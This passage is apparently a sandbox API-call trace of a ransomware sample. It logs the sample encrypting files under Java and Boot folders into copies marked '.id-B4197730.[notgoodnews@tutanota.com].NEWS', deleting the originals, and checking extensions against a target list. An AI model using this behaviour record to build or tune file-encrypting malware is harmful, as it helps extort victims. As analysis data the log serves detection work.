lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c24020*, lpNumberOfBytesRead=0x377fecc*=0x27040, lpOverlapped=0x0) returned 1 [0194.645] WriteFile (in: hFile=0x390, lpBuffer=0x3c24020*, nNumberOfBytesToWrite=0x27050, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c24020*, lpNumberOfBytesWritten=0x377fc94*=0x27050, lpOverlapped=0x0) returned 1 [0194.971] ReadFile (in: hFile=0x38c, lpBuffer=0x3c24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c24020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.971] WriteFile (in: hFile=0x390, lpBuffer=0x3c24020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c24020*, lpNumberOfBytesWritten=0x377fc94*=0xe4, lpOverlapped=0x0) returned 1 [0194.971] SetEndOfFile (hFile=0x390) returned 1 [0195.021] CloseHandle (hObject=0x390) returned 1 [0195.022] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.022] SetEndOfFile (hFile=0x38c) returned 1 [0195.024] CloseHandle (hObject=0x38c) returned 1 [0195.024] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0195.024] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll")) returned 1 [0195.025] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0195.025] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0195.025] lstrlenW (lpString=".doc") returned 4 [0195.025] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.025] lstrlenW (lpString=".docx") returned 5 [0195.025] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0195.025] lstrlenW (lpString=".pdf") returned 4 [0195.025] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.025] lstrlenW (lpString=".xls") returned 4 [0195.025] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.025] lstrlenW (lpString=".xlsx") returned 5 [0195.025] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0195.025] lstrlenW (lpString=".ppt") returned 4 [0195.025] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.025] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0195.025] lstrlenW (lpString=".zip") returned 4 [0195.025] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.025] lstrlenW (lpString=".rar") returned 4 [0195.025] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.025] lstrlenW (lpString=".bz2") returned 4 [0195.025] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.025] lstrlenW (lpString=".7z") returned 3 [0195.025] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.025] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0195.025] lstrlenW (lpString=".dbf") returned 4 [0195.025] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.025] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0195.025] lstrlenW (lpString=".1cd") returned 4 [0195.025] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.026] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0195.026] lstrlenW (lpString=".jpg") returned 4 [0195.026] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.026] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0195.026] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0195.026] lstrlenW (lpString=".doc") returned 4 [0195.026] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.026] lstrlenW (lpString=".docx") returned 5 [0195.026] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0195.026] lstrlenW (lpString=".pdf") returned 4 [0195.026] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.026] lstrlenW (lpString=".xls") returned 4 [0195.026] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.026] lstrlenW (lpString=".xlsx") returned 5 [0195.026] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0195.026] lstrlenW (lpString=".ppt") returned 4 [0195.026] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.026] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0195.026] lstrlenW (lpString=".zip") returned 4 [0195.026] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.026] lstrlenW (lpString=".rar") returned 4 [0195.026] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.026] lstrlenW (lpString=".bz2") returned 4 [0195.026] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.026] lstrlenW (lpString=".7z") returned 3 [0195.026] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.026] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0195.026] lstrlenW (lpString=".dbf") returned 4 [0195.026] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.026] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0195.026] lstrlenW (lpString=".1cd") returned 4 [0195.026] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.026] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0195.026] lstrlenW (lpString=".jpg") returned 4 [0195.026] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.027] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0195.027] lstrlenW (lpString="deployJava1.dll") returned 15 [0195.027] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0195.027] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=1026112) returned 1 [0195.027] CloseHandle (hObject=0x38c) returned 1 [0195.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll")) returned 0x20 [0195.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0195.027] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0195.028] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.028] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.028] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0195.030] GetLastError () returned 0x0 [0195.030] ReadFile (in: hFile=0x38c, lpBuffer=0x3c24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c24020*, lpNumberOfBytesRead=0x377fecc*=0xfa840, lpOverlapped=0x0) returned 1 [0195.063] WriteFile (in: hFile=0x390, lpBuffer=0x3c24020*, nNumberOfBytesToWrite=0xfa850, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c24020*, lpNumberOfBytesWritten=0x377fc94*=0xfa850, lpOverlapped=0x0) returned 1 [0195.673] ReadFile (in: hFile=0x38c, lpBuffer=0x3c24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c24020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.673] WriteFile (in: hFile=0x390, lpBuffer=0x3c24020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c24020*, lpNumberOfBytesWritten=0x377fc94*=0xf2, lpOverlapped=0x0) returned 1 [0196.016] SetEndOfFile (hFile=0x390) returned 1 [0196.016] CloseHandle (hObject=0x390) returned 1 [0196.016] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.016] SetEndOfFile (hFile=0x38c) returned 1 [0196.025] CloseHandle (hObject=0x38c) returned 1 [0196.025] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0196.025] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll")) returned 1 [0196.026] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0196.026] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0196.026] lstrlenW (lpString=".doc") returned 4 [0196.026] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0196.026] lstrlenW (lpString=".docx") returned 5 [0196.026] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0196.026] lstrlenW (lpString=".pdf") returned 4 [0196.026] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0196.026] lstrlenW (lpString=".xls") returned 4 [0196.026] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0196.026] lstrlenW (lpString=".xlsx") returned 5 [0196.026] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0196.026] lstrlenW (lpString=".ppt") returned 4 [0196.026] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0196.026] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0196.026] lstrlenW (lpString=".zip") returned 4 [0196.026] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0196.026] lstrlenW (lpString=".rar") returned 4 [0196.026] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0196.026] lstrlenW (lpString=".bz2") returned 4 [0196.026] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0196.026] lstrlenW (lpString=".7z") returned 3 [0196.026] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0196.026] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0196.026] lstrlenW (lpString=".dbf") returned 4 [0196.026] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0196.026] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0196.026] lstrlenW (lpString=".1cd") returned 4 [0196.026] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0196.026] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0196.026] lstrlenW (lpString=".jpg") returned 4 [0196.026] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0196.026] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0196.027] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0196.027] lstrlenW (lpString=".doc") returned 4 [0196.027] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0196.027] lstrlenW (lpString=".docx") returned 5 [0196.027] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0196.027] lstrlenW (lpString=".pdf") returned 4 [0196.027] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0196.027] lstrlenW (lpString=".xls") returned 4 [0196.027] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0196.027] lstrlenW (lpString=".xlsx") returned 5 [0196.027] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0196.027] lstrlenW (lpString=".ppt") returned 4 [0196.027] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0196.027] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0196.027] lstrlenW (lpString=".zip") returned 4 [0196.027] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0196.027] lstrlenW (lpString=".rar") returned 4 [0196.027] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0196.027] lstrlenW (lpString=".bz2") returned 4 [0196.027] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0196.027] lstrlenW (lpString=".7z") returned 3 [0196.027] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0196.027] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0196.027] lstrlenW (lpString=".dbf") returned 4 [0196.027] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0196.027] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0196.027] lstrlenW (lpString=".1cd") returned 4 [0196.027] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0196.027] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0196.027] lstrlenW (lpString=".jpg") returned 4 [0196.027] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0196.027] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0196.028] lstrlenW (lpString="hprof.dll") returned 9 [0196.028] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 102 os_tid = 0xc20 [0191.151] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10000) returned 0x3272008 [0191.151] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10000) returned 0x3282010 [0191.152] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6c22f0 [0191.152] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x6) returned 0x6bbfe0 [0191.152] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6c23c8 [0191.152] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x100000) returned 0x3d3f020 [0191.156] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6c2530 [0191.156] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6c2530, Size=0x20) returned 0x69d968 [0191.156] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6c2590 [0191.156] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6c2590, Size=0x20) returned 0x69dcd8 [0191.156] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73d30000 [0191.156] GetProcAddress (hModule=0x73d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73d46b30 [0191.156] Wow64DisableWow64FsRedirection (in: OldValue=0x38bff50 | out: OldValue=0x38bff50*=0x0) returned 1 [0191.156] lstrlenW (lpString="kernel32.dll") returned 12 [0191.156] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69d968 | out: hHeap=0x660000) returned 1 [0191.156] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0191.156] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69dcd8 | out: hHeap=0x660000) returned 1 [0191.156] Sleep (dwMilliseconds=0x64) [0191.448] Sleep (dwMilliseconds=0x64) [0191.895] Sleep (dwMilliseconds=0x64) [0192.158] Sleep (dwMilliseconds=0x64) [0192.778] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0192.778] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0192.778] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0192.779] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=79200) returned 1 [0192.779] CloseHandle (hObject=0x30c) returned 1 [0192.779] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0192.779] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0192.779] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0192.779] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0192.779] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0192.779] lstrlenW (lpString=".doc") returned 4 [0192.779] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0192.779] lstrlenW (lpString=".docx") returned 5 [0192.779] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0192.779] lstrlenW (lpString=".pdf") returned 4 [0192.779] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0192.779] lstrlenW (lpString=".xls") returned 4 [0192.779] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0192.779] lstrlenW (lpString=".xlsx") returned 5 [0192.780] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0192.780] lstrlenW (lpString=".ppt") returned 4 [0192.780] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0192.780] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0192.780] lstrlenW (lpString=".zip") returned 4 [0192.780] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0192.780] lstrlenW (lpString=".rar") returned 4 [0192.780] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0192.780] lstrlenW (lpString=".bz2") returned 4 [0192.780] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0192.780] lstrlenW (lpString=".7z") returned 3 [0192.780] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0192.780] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0192.780] lstrlenW (lpString=".dbf") returned 4 [0192.780] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0192.780] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0192.780] lstrlenW (lpString=".1cd") returned 4 [0192.780] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0192.780] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0192.780] lstrlenW (lpString=".jpg") returned 4 [0192.780] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0192.780] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0192.780] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0192.780] lstrlenW (lpString=".doc") returned 4 [0192.780] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0192.780] lstrlenW (lpString=".docx") returned 5 [0192.780] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0192.780] lstrlenW (lpString=".pdf") returned 4 [0192.781] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0192.781] lstrlenW (lpString=".xls") returned 4 [0192.781] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0192.781] lstrlenW (lpString=".xlsx") returned 5 [0192.781] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0192.781] lstrlenW (lpString=".ppt") returned 4 [0192.781] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0192.781] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0192.781] lstrlenW (lpString=".zip") returned 4 [0192.781] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0192.781] lstrlenW (lpString=".rar") returned 4 [0192.781] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0192.781] lstrlenW (lpString=".bz2") returned 4 [0192.781] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0192.781] lstrlenW (lpString=".7z") returned 3 [0192.781] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0192.781] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0192.781] lstrlenW (lpString=".dbf") returned 4 [0192.781] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0192.781] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0192.781] lstrlenW (lpString=".1cd") returned 4 [0192.781] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0192.781] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0192.781] lstrlenW (lpString=".jpg") returned 4 [0192.781] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0192.782] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0192.782] lstrlenW (lpString="memtest.exe.mui") returned 15 [0192.782] CreateFileW (lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0192.782] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=45984) returned 1 [0192.782] CloseHandle (hObject=0x30c) returned 1 [0192.782] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui")) returned 0x20 [0192.783] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\de-de\\memtest.exe.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0192.783] CreateFileW (lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0192.783] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0192.783] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0192.783] lstrlenW (lpString=".doc") returned 4 [0192.783] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0192.783] lstrlenW (lpString=".docx") returned 5 [0192.783] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0192.783] lstrlenW (lpString=".pdf") returned 4 [0192.783] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0192.783] lstrlenW (lpString=".xls") returned 4 [0192.783] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0192.783] lstrlenW (lpString=".xlsx") returned 5 [0192.783] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0192.783] lstrlenW (lpString=".ppt") returned 4 [0192.783] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0192.783] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0192.783] lstrlenW (lpString=".zip") returned 4 [0192.783] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0192.783] lstrlenW (lpString=".rar") returned 4 [0192.783] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0192.783] lstrlenW (lpString=".bz2") returned 4 [0192.783] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0192.784] lstrlenW (lpString=".7z") returned 3 [0192.784] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0192.784] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0192.784] lstrlenW (lpString=".dbf") returned 4 [0192.784] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0192.784] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0192.784] lstrlenW (lpString=".1cd") returned 4 [0192.784] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0192.784] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0192.785] lstrlenW (lpString=".jpg") returned 4 [0192.785] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0192.785] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0192.785] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0192.785] lstrlenW (lpString=".doc") returned 4 [0192.785] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0192.785] lstrlenW (lpString=".docx") returned 5 [0192.785] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0192.785] lstrlenW (lpString=".pdf") returned 4 [0192.785] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0192.785] lstrlenW (lpString=".xls") returned 4 [0192.785] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0192.785] lstrlenW (lpString=".xlsx") returned 5 [0192.785] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0192.785] lstrlenW (lpString=".ppt") returned 4 [0192.785] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0192.785] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0192.785] lstrlenW (lpString=".zip") returned 4 [0192.785] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 